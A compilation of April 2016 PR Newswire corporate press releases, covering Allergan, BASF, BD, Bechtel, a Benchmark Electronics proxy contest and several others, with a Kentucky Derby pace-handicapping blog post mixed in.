"Physicians and their patients have been seeking an FDA-approved, non-invasive treatment option to address undereye bags where current treatment options are limited," said Jeffrey Dover, MD, FRCPC, a board-certified dermatologist and director of SkinCare Physicians in Chestnut Hill, MA. "Adding a topical treatment that physicians could offer to their patients would be an important step forward in the treatment of steatoblepharon."

Topokine's investors include Schooner Capital, a Boston-based private investment firm engaged in venture capital, growth equity and alternate asset investments. Leerink Partners LLC acted as financial advisor to Topokine. Covington & Burling LLP acted as legal advisor to Allergan and Foley Hoag LLP acted as legal counsel to Topokine.

About Steatoblepharon (Undereye Bags)

Steatoblepharon affects a key focal point of the face which can make the face look older, tired, stressed or sad. Steatoblepharon has been shown to cause psychosocial distress, and treatment is associated with sustained improvements in self-esteem. In contrast to many aesthetic conditions, both women and men report feeling concerned about steatoblepharon.

About Allergan

Allergan plc (NYSE: AGN), headquartered in Dublin, Ireland, is a unique, global pharmaceutical company and a leader in a new industry model  Growth Pharma. Allergan is focused on developing, manufacturing and commercializing innovative branded pharmaceuticals, high-quality generic and over-the-counter medicines and biologic products for patients around the world.

Allergan markets a portfolio of best-in-class products that provide valuable treatments for the central nervous system, eye care, medical aesthetics, gastroenterology, women's health, urology, cardiovascular and anti-infective therapeutic categories, and operates the world's third-largest global generics business, providing patients around the globe with increased access to affordable, high-quality medicines. Allergan is an industry leader in research and development, with one of the broadest development pipelines in the pharmaceutical industry and a leading position in the submission of generic product applications globally.

With commercial operations in approximately 100 countries, Allergan is committed to working with physicians, healthcare providers and patients to deliver innovative and meaningful treatments that help people around the world live longer, healthier lives.

For more information, visit Allergan's website at www.allergan.com.

About Topokine

Topokine is a clinical-stage biotechnology company developing topical prescription medications that act pharmacologically on adipocytes to contour the face and body. The company's lead program, XAF5, is in late-stage clinical development for reduction of undereye bags (steatoblepharon). The company's assets are protected by more than 75 issued and pending patents worldwide.

Allergan Forward-Looking Statements

Statements contained in this press release that refer to future events or other non-historical facts are forward-looking statements that reflect Allergan's current perspective of existing trends and information as of the date of this release. Except as expressly required by law, Allergan disclaims any intent or obligation to update these forward-looking statements. Actual results may differ materially from Allergan's current expectations depending upon a number of factors affecting Allergan's business. These factors include, among others, the difficulty of predicting the timing or outcome of FDA approvals or actions, if any; the impact of competitive products and pricing; market acceptance of and continued demand for Allergan's products; difficulties or delays in manufacturing; and other risks and uncertainties detailed in Allergan's periodic public filings with the Securities and Exchange Commission, including but not limited to Allergan's Annual Report on Form 10-K for the year ended December 31, 2015 (certain of such periodic public filings having been filed under the "Actavis plc" name). Except as expressly required by law, Allergan disclaims any intent or obligation to update these forward-looking statements.

i Sheety, Michael. Abstract: Topical XAF5 Ointment reduces excess eyelid fat: A Phase 2, randomized, doublemasked, placebo-controlled trial.

CONTACTS:

Allergan:

Investors:

Lisa DeFrancesco

(862) 261-7152

Media:

Mark Marmur

(862) 261-7558

SOURCE Allergan plc; Topokine Therapeutics

Related Links

http://www.allergan.com


VANCOUVER, April 22, 2016 /PRNewswire/ - American Lithium Corp. ("American Lithium" or the "Company") (TSXV: LI) is pleased to announce that it will be exhibiting at the upcoming Industrial Minerals 8th Annual Lithium Supply & Markets Conference, from May 24th to 26th, in Las Vegas, Nevada. American Lithium is sending a select group of delegates to the conference.

"As an exclusive and one-of-its-kind gathering within the lithium industry, running for the eighth time, Lithium Supply & Markets will once again welcome global industry players from throughout the lithium value chain. There is no better location for the industry's senior figures to meet and network. Following 2015's conference held in Shanghai, China, Industrial Minerals is once again returning to North America. The chosen city, Las Vegas, is an ideal location as it is close to Tesla's highly anticipated gigafactory as well as numerous lithium projects in Nevada. Despite falling prices for a range of commodities in 2015, the lithium market has stayed positive. Moving into 2016, upward price pressure is expected to continue with supplies looking tight and demand set to keep increasing." As stated by Industrial Minerals.

Michael Kobler, CEO of American Lithium commented, "we are excited to exhibit at this year's Lithium Supply & Markets Conference and look forward to forging new strategic relationships and deepening existing ones."

On behalf of the Board,

American Lithium Corp.

Michael Kobler, Chief Executive Officer

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SOURCE American Lithium Corp

Related Links

www.americanlithiumcorp.com


WASHINGTON, April 22, 2016 /PRNewswire-USNewswire/ -- API Executive Director for Market Development Marty Durbin said Gov. Cuomo's rejection of the Constitution Pipeline is a clear example of politics coming before the interests of U.S. workers and consumers.

"The Cuomo administration's decision to reject permits for the Constitution Pipeline is another example of politics at its worst," said Durbin. "This decision will cost the state thousands of jobs and is an assault on families and businesses.

"This decision impacts not only the residents of New York, but also the families and businesses in the surrounding states whose consumers currently pay the highest energy costs in the country. This region needs robust and reliable energy infrastructure built to supply the clean, reliable and affordable natural gas from the nearby Marcellus shale to fuel their communities.

"Improving energy infrastructure could bring lower electric bills for families and businesses, keep good paying jobs in the region and help protect the environment.

"Unfortunately for those who have said they want the jobs and economic benefits the Constitution Pipeline represents, the Cuomo administration has placed politics over the interests of workers and consumers."

API is the only national trade association representing all facets of the oil and natural gas industry, which supports 9.8 million U.S. jobs and 8 percent of the U.S. economy. API's more than 650 members include large integrated companies, as well as exploration and production, refining, marketing, pipeline, and marine businesses, and service and supply firms. They provide most of the nation's energy and are backed by a growing grassroots movement of more than 30 million Americans.

SOURCE American Petroleum Institute

Related Links

http://www.api.org/


ISELIN, N.J. and LUDWIGSHAFEN, Germany, April 22, 2016 /PRNewswire/ -- BASF has signed an agreement to sell its global Polyolefin Catalysts business to W.R. Grace & Co. Currently, the Polyolefin Catalysts business is part of BASF's Catalysts division. BASF and Grace intend to complete the transaction in the third quarter of 2016.

The targeted transaction includes technologies, patents, trademarks and the transfer of BASF's production plants in Pasadena, Texas, and Tarragona, Spain. It is intended that approximately 170 employees globally will also transfer to Grace.

The planned divestiture remains subject to the required consultation with employee representatives and certain regulatory approvals.

"This sale was the best course of action for both the Catalysts division and for the long-term interests of the Polyolefin Catalysts business and its employees," said Kenneth Lane, President, Catalysts division, BASF.

"With this divestiture, we will continue to sharpen our focus on key growth areas, including our Chemical Catalysts and Refinery Catalysts businesses," said Lane.

About BASF's Catalysts division

BASF's Catalysts division is the world's leading supplier of environmental and process catalysts. The group offers exceptional expertise in the development of technologies that protect the air we breathe, produce the fuels that power our world and ensure efficient production of a wide variety of chemicals, plastics and other products, including advanced battery materials. By leveraging our industry-leading R&D platforms, passion for innovation and deep knowledge of precious and base metals, BASF's Catalysts division develops unique, proprietary solutions that drive customer success. Further information on BASF's Catalysts division is available on the Internet at www.catalysts.basf.com.

About BASF



BASF Corporation, headquartered in Florham Park, New Jersey, is the North American affiliate of BASF SE, Ludwigshafen, Germany. BASF has nearly 17,500 employees in North America, and had sales of $17.4 billion in 2015. For more information about BASF's North American operations, visit www.basf.us.



At BASF, we create chemistry for a sustainable future. We combine economic success with environmental protection and social responsibility. The approximately 112,000 employees in the BASF Group work on contributing to the success of our customers in nearly all sectors and almost every country in the world. Our portfolio is organized into five segments: Chemicals, Performance Products, Functional Materials & Solutions, Agricultural Solutions and Oil & Gas. BASF generated sales of more than 70 billion in 2015. BASF shares are traded on the stock exchanges in Frankfurt (BAS), London (BFA) and Zurich (AN). Further information at www.basf.com.

Logo - http://photos.prnewswire.com/prnh/20140221/MM69780LOGO

SOURCE BASF Corporation

Related Links

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FRANKLIN LAKES, N.J., April 22, 2016 /PRNewswire/ -- BD (Becton, Dickinson and Company) (NYSE: BDX), a leading global medical technology company, today announced a new line of surgical instrument sterilization containers that are validated for the latest low-temperature sterilization processes.

The Genesis Low Temperature Rigid Sterilization Container System is validated for newer low-temperature sterilization processes and systems from market-leading sterilizer manufacturers, including the V-PRO Low Temperature Sterilization Systems from STERIS and STERRAD Systems from Advanced Sterilization Products (ASP). Low-temperature sterilization is a fast-growing trend in sterile processing and is used for instrumentation that cannot withstand the high-temperature and moisture present in traditional steam sterilization practices.

"Our new containers have the same trusted functionality that our customers in the sterile processing department have come to expect, but they have been validated for today's latest low-temperature processes," said Jim Leitl, worldwide vice president and general manager for Infection Prevention, V. Mueller and Interventional Specialties at BD. "We will continue to extend our leadership in sterilization containers and surgical instrumentation through innovations that positively impact both clinical and financial outcomes."

The new containers have a visually differentiated set of orange components to quickly and easily differentiate them from Genesis containers indented for other sterilization processes. The line provides long-lasting protection and sterility maintenance for surgical instrumentation. Genesis containers are offered in a variety of sizes to help organize and secure instruments prior to surgery. Genesis containers also provide an environmentally friendly alternative to sterilization wrap.

The new Genesis Low Temperature Rigid Sterilization Container System will be commercially available later this spring, and they will be showcased in booth 620 at the IAHCSMM Annual Conference and Expo being held April 24-27 in San Antonio. To learn more, visit bd.com/LowTempGenesis.

About BD

BD is a global medical technology company that is advancing the world of health by improving medical discovery, diagnostics and the delivery of care. BD leads in patient and health care worker safety and the technologies that enable medical research and clinical laboratories. The company provides innovative solutions that help advance medical research and genomics, enhance the diagnosis of infectious disease and cancer, improve medication management, promote infection prevention, equip surgical and interventional procedures, optimize respiratory care and support the management of diabetes. The company partners with organizations around the world to address some of the most challenging global health issues. BD has more than 45,000 associates across 50 countries who work in close collaboration with customers and partners to help enhance outcomes, lower health care delivery costs, increase efficiencies, improve health care safety and expand access to health. For more information on BD, please visit www.bd.com.

Contacts:





Troy Kirkpatrick Monique N. Dolecki BD Public Relations BD Investor Relations 858.617.2361 201.847.5378 [email protected] [email protected]

SOURCE BD (Becton, Dickinson and Company)

Related Links

http://www.bd.com


"From the start of this project, Bechtel and TransEd Partners have enjoyed a very positive partnership with the City of Edmonton and the community," said Larry Melton, Bechtel's design-build project director for TransEd Partners. "We are looking forward to delivering a safe, efficient, and sustainable transit line that will support the creation of hundreds of local jobs during peak construction and help drive economic growth for the region".

The Edmonton Valley Line LRT- Stage 1 will connect Mill Woods to downtown Edmonton with about 13 km of light rail transit. This stage includes 11 stops, an elevated station incorporating a transit centre and Park & Ride, and a transfer point to the existing Capital Line and Metro Line LRT at Churchill Square.

The Stage 1 project is being delivered using a Public-Private Partnership (P3) procurement model and was the first win by Bechtel's new, dedicated P3 business line, which combines Bechtel's extensive design-build experience and long history as an equity investor and developer of projects. Bechtel is the lead partner for the design and construction of the project. The company also helped to secure financing and will assist in the provision of the operations and maintenance during the service period.

A global leader in the rail industry, Bechtel has successfully delivered some of the largest and most complex rail projects in the world, including the Channel Tunnel, High Speed 1, San Francisco BART system, the Dulles Metrorail Extension Phase 1, and the Athens Metro. The company is currently working on the Toronto-York Spadina Subway Extension, the Riyadh Metro and London's Crossrail.

About Bechtel:

Bechtel is among the most respected engineering, project management, and construction companies in the world. We stand apart for our ability to get the job done rightno matter how big, how complex, or how remote. Bechtel operates through four global business units that specialize in infrastructure; mining and metals; nuclear, security and environmental; and oil, gas, and chemicals. Since its founding in 1898, Bechtel has worked on more than 25,000 projects in 160 countries on all seven continents. Today, our 58,000 colleagues team with customers, partners, and suppliers on diverse projects in nearly 40 countries. www.bechtel.com

Media contact:

Jane Griffin

T: +44 207 651 7907

C: +44 7919 210640

[email protected].com

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Logo - http://photos.prnewswire.com/prnh/20130124/SF47758LOGO

SOURCE Bechtel

Related Links

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ANGLETON, Texas, April 22, 2016 /PRNewswire/ -- Benchmark Electronics, Inc. (NYSE: BHE) today announced that it has filed an updated investor presentation with the U.S. Securities and Exchange Commission ("SEC") in connection with the Company's 2016 Annual Meeting of Shareholders. The presentation is available under the investor relations section of www.bench.com and on the SEC's website at www.sec.gov.

Benchmark's presentation highlights the strategic actions the Company's Board of Directors and management have taken to enhance shareholder value. These actions include a continued shift of Benchmark's portfolio towards higher value, higher margin markets, to deliver sustainable growth and higher profit margins which in turn generate higher returns on capital for its shareholders.

The presentation provides additional disclosure on the Secure Technology transaction and illustrates why acquiring Secure was an essential building block of our transformation strategy and in the best interest of all Benchmark shareholders. As management discussed during Benchmark's first quarter results earnings call, stable demand from Secure's defense customers during the first quarter helped offset the secular challenges in traditional computing and network markets and late quarter softness in the industrial sector. Benchmark has determined to provide additional disclosure on the Secure transaction at this time to further demonstrate the long-term benefits and merits of the transaction:

Benchmark paid 8.5X Enterprise Value/16E EBITDA (below Secure's two closest peers). This valuation further supports the Board's careful determination that the Secure transaction was the best use of capital amongst all alternatives reviewed at the time  more accretive to growth, margin and long-term ROIC than alternate uses of capital considered, including a share repurchase; and

(below Secure's two closest peers). This valuation further supports the Board's careful determination that the Secure transaction was the best use of capital amongst all alternatives reviewed at the time  more accretive to growth, margin and long-term ROIC than alternate uses of capital considered, including a share repurchase; and The Company is already generating additional cross-selling opportunities and new business wins from the Secure business that were not included in management's initial forecast at the time of the acquisition, providing financial evidence for the strategic rationale.

Furthermore, the presentation addresses Engaged Capital's misleading calculations regarding the value creation potential of its "plan". Not only does Engaged Capital continue to promote its flawed working capital analysis as the cornerstone of its "plan," but it demonstrates a troubling lack of understanding of basic corporate finance principles and takes credit for potential benefits from the company's existing operational plan and working capital initiatives.

Finally, the presentation highlights the strength of Benchmark's Board of Directors, including its proven executive, financial and operational expertise, intimate knowledge of the Company's business, superior track record of achievement, and a demonstrated commitment to creating value for all shareholders.

BENCHMARK SHAREHOLDERS ARE URGED TO VOTE THE WHITE PROXY CARD TODAY

Your Board and management team are focused on enhancing value for all Benchmark shareholders. We have taken  and will continue to take  numerous steps to strengthen the Company's performance and value-creation potential.

The Benchmark Board of Directors unanimously recommends that shareholders vote the WHITE proxy card today " FOR " the election of the Board's experienced and highly qualified director nominees: David Scheible, Michael Dawson, Gayla Delly, Douglas Duncan, Kenneth Lamneck, Bernee Strom, Paul Tufano and Clay Williams.

Whether or not you plan to attend the Annual Meeting, you have an opportunity to protect your investment in Benchmark by voting the WHITE proxy card. We urge you to vote today by telephone, by internet, or by signing and dating the enclosed WHITE proxy card and returning it in the postage-paid envelope provided. Benchmark shareholders are reminded that their vote is important, no matter how many or how few shares they own, and that the latest submitted proxy card will revoke any previously submitted proxy card. Please do not return or otherwise vote any blue proxy card sent to you by Engaged Capital. If you have already sent back the blue card, you can still change your vote using the enclosed WHITE proxy card to support your Board's highly qualified director nominees.

If you have questions or need assistance voting your shares please contact:

MacKenzie Partners, Inc.

105 Madison Avenue New York, New York 10016 [email protected] Call Collect: (212) 929-5500 or Toll-Free (800) 322-2885



About Benchmark Electronics, Inc.

Benchmark provides integrated manufacturing, design and engineering services to original equipment manufacturers of industrial equipment (including equipment for the aerospace and defense industries), telecommunication equipment, computers and related products for business enterprises, medical devices, and test and instrumentation products. Benchmark's global operations include facilities in seven countries, and its common shares trade on the New York Stock Exchange under the symbol BHE.

Forward-Looking Statements

This letter contains forward-looking statements within the scope of the Securities Act of 1933 and the Securities Exchange Act of 1934. The words "expect," "estimate," "anticipate," "predict" and similar expressions, and the negatives thereof, often identify forward-looking statements, which are not limited to historical facts. Our forward-looking statements include, among other things: guidance for 2016; statements, express or implied, concerning future operating results or margins; the ability to generate sales, income or cash flow; the benefits of the Secure acquisition and our ability to continue share repurchases; and Benchmark's business and growth strategies and expected growth and performance. Although Benchmark believes these statements are based upon reasonable assumptions, they involve risks and uncertainties relating to our operations, markets and business environment generally. If one or more of these risks or uncertainties materialize, or underlying assumptions prove incorrect, actual outcomes may vary materially from those indicated. All forward-looking statements included in this letter are based upon information available to Benchmark as of the date of this document, and the Company assumes no obligation to update them. Readers are advised to consult further disclosures on related subjects, particularly in Item 1A, "Risk Factors" of the Company's annual report on Form 10-K for the year ended December 31, 2015, in its other filings with the U.S. Securities and Exchange Commission (the "SEC") and in its press releases.

Additional Information and Where to Find It

Benchmark has filed a definitive proxy statement with the SEC with respect to the 2016 Annual Meeting and has mailed the definitive proxy statement and accompanying white proxy card to its shareholders. Benchmark shareholders are strongly encouraged to read the definitive proxy statement, the accompanying white proxy card and other documents filed with the SEC carefully in their entirety when they become available because they contain (or will contain) important information. Benchmark, its directors, executive officers and other employees may be deemed to be participants in the solicitation of proxies from Benchmark shareholders in connection with the matters to be considered at Benchmark's 2016 Annual Meeting. Information about Benchmark's directors and executive officers is available in Benchmark's definitive proxy statement for its 2016 Annual Meeting. Shareholders may obtain a free copy of the definitive proxy statement and any other documents filed by Benchmark with the SEC free of charge at the SEC's website at www.sec.gov. Copies also are available free of charge on Benchmark's website at www.bench.com under "Investor Relations  Annual Reports" or by contacting Benchmark Investor Relations at (979) 849-6550.

SOURCE Benchmark Electronics, Inc.

Related Links

http://www.bench.com


RUEIL-MALMAISON, France, April 22, 2016 /PRNewswire/ -- Schneider Electric, the global specialist in energy management and automation, announced that Annette Clayton, chief supply chain officer, will receive the AWESOME Legendary Leadership (ALL) award from the Achieving Women's Excellence in Supply Chain Operations, Management, and Education, or AWESOME, organization. The ALL award, created in 2014, will be presented on April 27, opening night of the 2016 AWESOME symposium at Nike World Headquarters near Portland, Oregon in the U.S.

Recognized for her achievements in supply chain leadership and creating an environment where women are encouraged to excel and advance, Annette said, "I am humbled and honored to receive this prestigious award and I feel privileged to be among a group of distinguished peers who have also paved and shaped the way for women to succeed." Clayton added, "I am equally proud to see Schneider Electric embrace gender diversity as a critical business imperative. Our journey towards equality will continue and we remain resolute on our commitments."

By 2017 the company has said it will:

Increase the representation of women across the pipeline  40 percent at entry-level positions and 35 percent in key positions

Implement pay equality for 150,000 employees or roughly 85 percent of its workforce

Establish dedicated executive-level groups to raise the bar on its aspirations for women

"Annette Clayton is an extraordinary role model for women leaders in the evolving supply chain field," said Nancy Nix, Executive Director, AWESOME. "Without question she is deserving of our AWESOME Legendary Leadership award as she is a transformational thought leader and serves as a wonderful example for women who aspire to such levels of leadership."

More details about the company's diversity and inclusion initiatives can be found here.

About Schneider Electric

Schneider Electric is the global specialist in energy management and automation. With revenues of 30 billion US dollars in FY2014, our 170,000 employees serve customers in over 100 countries, helping them to manage their energy and process in ways that are safe, reliable, efficient and sustainable. From the simplest of switches to complex operational systems, our technology, software and services improve the way our customers manage and automate their operations. Our connected technologies will reshape industries, transform cities and enrich lives. At Schneider Electric, we call this Life Is On.

www.schneider-electric.com/

Discover Life Is On

Hashtags: #SupplyChain, #GenderDiversity,

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SOURCE Schneider Electric

Related Links

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PUNE, India, April 22, 2016 /PRNewswire/ --

According to the new market research report "Compressor Control Systems Market by Component (Controlling: (PLC and SCADA) & Networking), Application (Oil & Gas, Refining, Petrochemical, Power Generation, Metals & Mining, Water & Wastewater and Fertilizer), and Geography - Global Forecast to 2022", published by MarketsandMarkets, the market, in terms of value, is estimated to grow at a CAGR of 4.7% between 2016 and 2022 and is expected to reach USD 6.39 Billion by 2022.

(Logo: http://photos.prnewswire.com/prnh/20160303/792302 )



Browse 100 market data Tables and 96 Figures spread through 204 Pages and in-depth TOC on "Compressor Control Systems Market"

http://www.marketsandmarkets.com/Market-Reports/compressor-control-system-market-78887295.html

Early buyers will receive 10% customization on this report.

Massive investments in power and water sectors are expected to emerge as the second largest source for compressor installations in the next couple of years. Also, the continued expansion of petrochemicals, chemicals, and fertilizers industries is expected to result in a significant demand for compressors.

Oil & gas industry expected to hold the largest share of the compressor control systems market, by 2022

Compressors are widely used in the oil & gas industry in various core activities, starting from the initial treatment of crude oil/natural gas to transporting it through pipelines. They increase the pressure of the natural gas through heat and allow it to be transported from the production facility through the supply chain to end users.

Applications in the oil & gas industry accounted for the largest market share in 2015. This market is expected to grow at a high CAGR between 2016 and 2022. The number of compressors in the energy sector has increased greatly over the last few years, owing to the increased activity in the oil & gas production, transmission, and storage sectors.

Market in APAC expected to grow at the highest rate during the forecast period

The market in APAC is expected to grow at the highest CAGR between 2016 and 2022. In APAC, a majority of the demand for compressors comes from their installations in varied end-user industries such as oil & gas, petrochemical, power generation, and heavy industries such as cement and metals. The increase in the production capacity in petrochemical, oil & gas, and power generation plants is expected to spur the growth of compressor control systems in this region.

The report describes the drivers, restraints, challenges, and opportunities for the growth of the Compressor Control System Market along with market size forecast till 2022. The report also gives a qualitative and quantitative description about different industries considered for the compressor control system market. This global report gives a detailed view of the market across the four geographical regions, namely, the Americas, Europe, Asia-Pacific (APAC), and RoW.

Inquiry Before Buying: http://www.marketsandmarkets.com/Enquiry_Before_Buying.asp?id=78887295

The report profiles the most promising players in the compressor control system market. The key players in the compressor control systems market are General Electric Co. (U.S.), Rockwell Automation, Inc. (U.S.), Schneider Electric (France), Siemens AG (Germany), Wood Group Plc. (U.K.), Atlas Copco (Sweden), and Ingersoll Rand (Ireland).

Browse Related Reports

Control Valve Market by Motion (Rotary, Linear), by Component (Valve Body, Actuator, and Others), by Application (Oil & Gas, Chemicals, Energy & Power, Water Management, Pharmaceuticals, Food & Beverages, and Others), & by Geography - Global Forecast to 2020

http://www.marketsandmarkets.com/Market-Reports/control-valves-market-%20111759647.html

Advanced Process Control Market by Revenue Source (Software And Services), Application (Oil & Gas, Petrochemicals, Water & Wastewater, Chemicals, Power, Paper & Pulp, Pharmaceuticals, Food) And By Geography- Analysis & Forecast (2014 - 2020)

http://www.marketsandmarkets.com/Market-Reports/advanced-process-control-market-61285471.html

About MarketsandMarkets

MarketsandMarkets is the world's No. 2 firms in terms of annual published premium market research reports. Serving 1700 global fortune enterprises with more than 1200 premium studies in a year, M&M is catering to a multitude of clients across 8 different industrial verticals. We specialize in consulting assignments and business research across high growth markets, cutting edge technologies and newer applications. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors.

M&M's flagship competitive intelligence and market research platform, "RT" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. The new included chapters on Methodology and Benchmarking presented with high quality analytical info graphics in our reports gives complete visibility of how the numbers have been arrived and defend the accuracy of the numbers.

We at MarketsandMarkets are inspired to help our clients grow by providing apt business insight with our huge market intelligence repository.

Contact:

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Markets and Markets

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Email: [email protected]

Visit MarketsandMarkets Blog @ http://www.marketsandmarketsblog.com/market-reports/electronics-and-semiconductors

Connect with us on LinkedIn @ http://www.linkedin.com/company/marketsandmarkets



SOURCE MarketsandMarkets
By J. Keeler Johnson ("Keelerman") Twitter: @J_Keelerman

While handicapping the Kentucky Derby, one of the most important factors to consider is the pace of the race. With eighteen, nineteen, or twenty young horses trying ten furlongs for the first time, the pace of the Derby-whether fast, slow, or somewhere in the middle-can have a huge impact on the outcome of the race.

Over the last few years, we've seen a few striking examples. In 2010 and 2013, the combination of sloppy tracks and very fast paces led to "pace meltdowns," where all the horses near the lead tired and the horses closing from far behind dominated the races. In contrast, 2015 featured a modest pace set by three very good horses-American Pharoah, Firing Line, and Dortmund-and they ended up running 1-2-3 around the track while none of the late-running colts could catch up.

The only problem is that predicting the pace of a Kentucky Derby is easier said than done. Quite often, horses that are supposed to be near the lead end up racing in mid-pack, while horses that like to race off the lead find themselves at the front of the pack. There's no better example than 2013, when a combination of wearing blinkers and racing over a noisy, sloppy track caused Palace Malice to sprint to the lead and set some of the fastest fractions in the history of the Derby.

But if you can correctly identify how fast the pace will be in a Kentucky Derby, you will have a much better chance at choosing the winner and making a big score in the exacta, trifecta, and superfecta. To that end, I'm going to analyze the projected field for the 2016 Kentucky Derby and see what the pace scenario is shaping up to be.

A glance through the list of probable starters reveals a large number of late-running colts without much early speed. Horses like Exaggerator, Brody's Cause, Creator, Lani, Suddenbreakingnews, Oscar Nominated, My Man Sam, Tom's Ready, Mo Tom, and Trojan Nation have done their best running when closing from far behind, and even horses with a bit more tactical speed like Gun Runner, Mor Spirit, Shagaf, Destin, Whitmore, and Majesto prefer to settle in mid-pack and not race too close to the lead.

With so many late-runners targeting the 2016 Derby, it's easy to assume that the pace will be slow, but I'm not sure that will be the case. Of the four horses I haven't mentioned yet, two of them-the Wood Memorial (gr. I) winner Outwork and the San Felipe Stakes (gr. II) winner Danzing Candy-have shown lots of early speed in all of their races. In the Wood Memorial, Outworked helped set fast fractions of :22.91 and :46.93 over a muddy, tiring track, while Danzing Candy went even faster in the Santa Anita Derby, posting fractions of :22.15 and :45.24 before tiring to finish fourth.

While two speed horses don't guarantee a fast pace, it's important to note that neither Outwork nor Danzing Candy have shown that they can be successful racing off the lead. In fact, Danzing Candy is so fast that he has sprinted to clear early leads in several of his races. Although Outwork looks a little more relaxed than Danzing Candy and could probably settle a length or two off the lead, I also think there's a strong chance that these two speedy colts hook up in a battle for the early lead, which could make the Derby pace quite contentious.

Furthermore, Outwork and Danzing Candy aren't the only horses in the Derby with early speed. The unbeaten champion Nyquist usually races on or near the early lead, and possesses a lot of early speed. While he's also been successful racing off the pace, as he did in the Breeders' Cup Juvenile (gr. I), his best chance at winning the Derby is probably to stay within a couple lengths of the lead, which could heat up the pace just a bit.

But the real wildcard might be the four-time graded stakes winner Mohaymen, who was unbeaten prior to finishing fourth behind Nyquist in the Florida Derby (gr. I). Mohaymen usually likes to settle two or three lengths behind the pacesetters, but in his maiden victory at Belmont Park last September, he won in gate-to-wire fashion while dueling for the lead through fractions of :23.30 and :45.92.

Even more significant is that Mohaymen was brilliant in his most recent workout at Churchill Downs, going four furlongs in a rapid :46.80 while running with his ears pinned back and seemingly very focused on his exercise. If there's any horse that might end up closer to the lead than expected, I think it's Mohaymen, and I wouldn't be surprised to see him involved in the early pace.

So to recap, I believe the 2016 Kentucky Derby will feature a faster early pace than expected-perhaps a half-mile fraction of :46.50 and a six-furlong fraction of around 1:11 flat. I don't envision the pace being any slower than that, and it might even be quicker if Danzing Candy, Outwork, and/or Mohaymen get involved in a battle for the lead. This might not prove to be an issue for the most talented pace-tracking colts in the race, such as Nyquist, but it should also play favorably toward the stretch runners and help set up their late rallies.

Now it's your turn! How do you envision the pace of the 2016 Kentucky Derby unfolding?

*****

To help simplify the process of choosing and keeping track of everyone's prime horse selections in our 2016 Road to the Kentucky Derby Handicapping Challenge, I would like to ask everyone to please submit their prime choice each week by leaving a special comment on the official blog page for the contest. This will greatly reduce the chances of any prime horse selections getting overlooked, and will also make it simpler to double-check the standings. Thanks, and enjoy the racing!

*****

J. Keeler Johnson (also known as "Keelerman") is a writer, blogger, videographer, handicapper, and all-around horse racing enthusiast. A great fan of racing history, he considers Dr. Fager to be the greatest racehorse ever produced in America, but counts Zenyatta as his all-time favorite. He is the founder of the horse racing website http://www.theturfboard.com/.
ITR projects Concur Japan sales are up 10.3 percent year-over-year. In fiscal year 2015, ITR reports Concur represented 47.9 percent of the overall expense management market and 68.7 percent of the SaaS cloud-based expense management market.

"Japanese companies are seeking more sophisticated indirect cost management, especially expense management, in order to increase employee productivity, expand global business and comply with legal amendments," said Masamune Mimura, President/CEO of Concur Japan. "Concur offers industry-leading solutions and deep expertise that comes from more than 20 years as the global leader in travel and expense management. It's exciting to see ITR validate our market leadership in Japan for the second year in a row."

ITR Market View: ERP Market 2016 found the market for SaaS cloud-based services in Japan increased by 28.4 percent from last year, compared to 12.5 percent for package models. This shift illustrates a growing trend among Japanese companies to select SaaS cloud-based services over package models for the mid- to long-term. ITR forecasts small- to medium-sized enterprise (SME) demand for expense management solutions will continue to grow and reach annual revenues of $417 million USD (50 billion JPY) in fiscal year 2015.

By comparison, the expense management market reached $23.3 million USD (2.8 billion JPY) in fiscal year 2014  a year-over-year increase of 22.8 percent. Concur Japan introduced new solutions to large enterprises in the market, which contributed to the industry's sizable growth. ITR projects the expense management market will grow an additional 19.3 percent in fiscal year 2015.

About Concur

Concur, an SAP company, imagines the way the world should work, offering cloud-based services that make it simple to manage travel and expenses. By connecting data, applications and people, Concur delivers an effortless experience and total transparency into spending wherever and whenever it happens. Concur services adapt to individual employee preferences and scale to meet the needs of companies from small to large, so they can focus on what matters most for their businesses. Learn more at www.concur.com or the Concur blog.

CONTACT: Laurel Cifala, Edelman for Concur, 206-268-2229, [email protected]

Photo - http://photos.prnewswire.com/prnh/20160421/358672

SOURCE Concur

Related Links

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TROY, Mich., April 22, 2016 /PRNewswire/ -- The Detroit Auto Dealers Association (DADA) Education Foundation announced today that tickets are still available for its 2016 Courageous Persuaders Video Competition Awards Celebration which will be held on Wednesday, May 11, 2016 at the Emagine Theatre in Royal Oak, Michigan. The Courageous Persuaders Video Competition, now in its 16th year, recognizes high school students that take a creative approach to educate fellow students on the dangers of underage drinking and the dangers of texting while driving. This year, Courageous Persuaders will give away over $28,000 in scholarships and awards.

"Supporting initiatives that positively impact the lives of young adults is a key focus of the DADA," said Ryan LaFontaine, president, DADA. "As a father of young children, the messages Courageous Persuaders' participants create on the dangers of underage drinking and distracted driving is close to my heart."

Tickets for the event, which is open to the public, are $25 for adults and $20 for 18 and under, can be purchased at the door. Huel Perkins, noted WJBK FOX2 Detroit television personality will be the emcee for the event and will be joined on the stage by many notable Michigan executives and dignitaries, including Captain Monica Yesh, Michigan State Police.

Courageous Persuaders is a competition-based scholarship program that invites high school students to create a 30-second television commercial about the dangers of underage drinking or the dangers of texting while driving. The commercials are targeted toward middle school-aged children, with the winning entries aired on television and via streaming video on CourageousPersuaders.com. The Michigan Department of State, led by Secretary of State Ruth Johnson, will also show the winning commercials in select Michigan Secretary of State (SOS) branch offices.

The public has the chance to view all finalist commercials and vote for their favorite until May 1, 2016. The school that produced the commercial with the most "likes" will receive $2,500 and the student/team that created that commercial will receive a $1,000 scholarship. Steps to vote are as follows:

Step 1: Go to the Courageous Persuaders YouTube Channel.

Step 2: Make sure you're signed in to vote.

Step 3: Click "like" to vote for your favorite commercial.

Winning entries are eligible for the following scholarship awards:

Dangers of Underage Drinking and Driving:

Grand Prize: $3,000

First Place: $2,000

Second Place: $1,000

Third Place: $500

Dangers of Texting While Driving:

First Place: $2,000

Second Place: $1,000

Third Place: $500

Additionally, Courageous Persuaders partners present:

